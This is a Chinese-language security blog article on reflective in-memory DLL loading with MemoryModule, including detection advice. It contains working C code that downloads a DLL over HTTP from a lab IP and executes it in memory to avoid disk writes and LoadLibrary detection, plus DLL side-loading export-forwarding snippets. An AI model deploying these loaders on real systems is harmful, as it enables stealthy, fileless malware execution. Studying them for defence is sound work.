MemoryModule的远程反射dll加载与一些没有实现的想法
字数 977 2025-08-22 22:47:30
内存反射DLL加载技术详解
1. 技术概述
内存反射DLL加载技术是一种不依赖Windows标准LoadLibrary API的动态链接库加载方法。该技术通过自定义PE加载器,直接在内存中解析和执行DLL文件,避免了传统DLL加载方式需要将文件写入磁盘的步骤。
核心优势
- 无文件落地:DLL直接从内存加载,无需写入磁盘
- 规避传统加载检测:不调用
LoadLibrary等API - 支持远程加载:可从网络直接加载DLL到内存执行
2. 关键技术组件
MemoryModule项目
GitHub项目地址:fancycode/MemoryModule
核心API
/**
* 从内存位置加载EXE/DLL文件
* @param data 内存中的DLL数据指针
* @param size DLL数据大小
* @return 加载的模块句柄
*/
HMEMORYMODULE MemoryLoadLibrary(const void *data, size_t size);
/**
* 扩展版加载函数,支持自定义依赖解析
* @param data 内存中的DLL数据指针
* @param size DLL数据大小
* @param alloc_func 自定义内存分配函数
* @param free_func 自定义内存释放函数
* @param loadlibrary_func 自定义库加载函数
* @param getprocaddress_func 自定义函数地址获取函数
* @param freelibrary_func 自定义库释放函数
* @param userdata 用户自定义数据指针
*/
HMEMORYMODULE MemoryLoadLibraryEx(
const void *data,
size_t size,
CustomAllocFunc alloc_func,
CustomFreeFunc free_func,
CustomLoadLibraryFunc loadlibrary_func,
CustomGetProcAddressFunc getprocaddress_func,
CustomFreeLibraryFunc freelibrary_func,
void *userdata);
3. 基础实现
3.1 本地DLL内存加载
#include <Windows.h>
#include <stdio.h>
#include "MemoryModule.h"
// 打开文件并获取大小
DWORD OpenBadCodeDLL(HANDLE &hBadCodeDll, LPCWSTR lpwszBadCodeFileName) {
hBadCodeDll = CreateFileW(lpwszBadCodeFileName, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hBadCodeDll == INVALID_HANDLE_VALUE) {
return GetLastError();
}
return GetFileSize(hBadCodeDll, NULL);
}
int main() {
HMEMORYMODULE hModule;
HANDLE hBadCodeDll = INVALID_HANDLE_VALUE;
WCHAR szBadCodeFile[] = L"C:\\path\\to\\Dllmsg.dll";
DWORD dwFileSize = OpenBadCodeDLL(hBadCodeDll, szBadCodeFile);
PBYTE bFileBuffer = new BYTE[dwFileSize];
DWORD dwReadOfFileSize = 0;
ReadFile(hBadCodeDll, bFileBuffer, dwFileSize, &dwReadOfFileSize, NULL);
CloseHandle(hBadCodeDll);
hModule = MemoryLoadLibrary(bFileBuffer, dwFileSize);
if (hModule == NULL) {
delete[] bFileBuffer;
return -1;
}
MemoryFreeLibrary(hModule);
delete[] bFileBuffer;
return 0;
}
3.2 简单的DLL示例
#include "pch.h"
#include <Windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
MessageBox(NULL, L"Hello from DLL!", L"Dll Message", MB_OK | MB_ICONINFORMATION);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
4. 远程DLL加载实现
4.1 HTTP远程加载实现
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
#include <wininet.h>
#include "MemoryModule.h"
#pragma comment(lib, "wininet.lib")
#define PAYLOAD_SIZE (1024 * 512) // 512KB缓冲区
BOOL DownloadDLL(LPCWSTR url, PBYTE buffer, DWORD bufferSize, DWORD* bytesRead) {
HINTERNET hInternet = InternetOpenW(L"Downloader", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (!hInternet) return FALSE;
HINTERNET hConnect = InternetOpenUrlW(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (!hConnect) {
InternetCloseHandle(hInternet);
return FALSE;
}
BOOL success = InternetReadFile(hConnect, buffer, bufferSize, bytesRead);
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
return success;
}
int main() {
WCHAR url[] = L"http://192.168.56.1:8000/Dllmsg.dll";
PBYTE bFileBuffer = new BYTE[PAYLOAD_SIZE];
DWORD dwBytesRead = 0;
if (!DownloadDLL(url, bFileBuffer, PAYLOAD_SIZE, &dwBytesRead) || !dwBytesRead) {
delete[] bFileBuffer;
return GetLastError();
}
HMEMORYMODULE hModule = MemoryLoadLibrary(bFileBuffer, dwBytesRead);
if (!hModule) {
delete[] bFileBuffer;
return -1;
}
MemoryFreeLibrary(hModule);
delete[] bFileBuffer;
return 0;
}
5. 高级应用与挑战
5.1 DLL Side-Loading尝试
作者尝试通过合法DLL的旁加载技术加载远程恶意DLL,但遇到了技术挑战:
- DLL死锁问题:在DllMain中进行网络操作会导致死锁
- 导出函数限制:旁加载技术通常只能控制DllMain,无法直接调用导出函数
5.2 失败的中继加载尝试
// 中继DLL尝试通过网络加载并执行另一个DLL
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(hModule);
runNetDll(); // 此函数内包含网络操作
}
return TRUE;
}
5.3 替代方案探索
-
本地EXE中继:
- 本地放置一个合法EXE
- EXE通过网络加载恶意DLL
- EXE执行内存注入
-
内存EXE加载:
- 通过网络将EXE加载到内存
- 内存中执行EXE
- EXE再加载恶意DLL
6. 技术难点与解决方案
6.1 DllMain中的限制
- 问题:在DllMain中进行网络操作会导致死锁
- 解决方案:
- 创建新线程执行网络操作
- 使用延迟加载技术
- 通过导出函数而非DllMain
6.2 导出函数转发
// 示例:转发合法DLL的导出函数
#pragma comment(linker, "/EXPORT:CloudMuiscMain=cloudmusicOrg.CloudMuiscMain,@1")
#pragma comment(linker, "/EXPORT:CompressFile=cloudmusicOrg.CompressFile,@2")
// ...其他导出函数
7. 防御与检测建议
-
检测内存中的PE加载:
- 监控非标准内存区域的可执行代码
- 检测异常的PE头结构
-
网络活动分析:
- 监控进程的异常网络连接
- 分析下载内容的PE特征
-
API调用监控:
- 检测绕过LoadLibrary的模块加载行为
- 监控自定义内存分配行为
8. 总结
内存反射DLL加载技术提供了一种强大的无文件攻击方式,但也面临诸多技术挑战。理解这些技术细节对于攻防双方都至关重要:
- 攻击方需要解决DllMain限制、依赖解析等问题
- 防御方需要建立针对非常规模块加载的检测能力
- 该技术仍在发展,未来可能出现更成熟的解决方案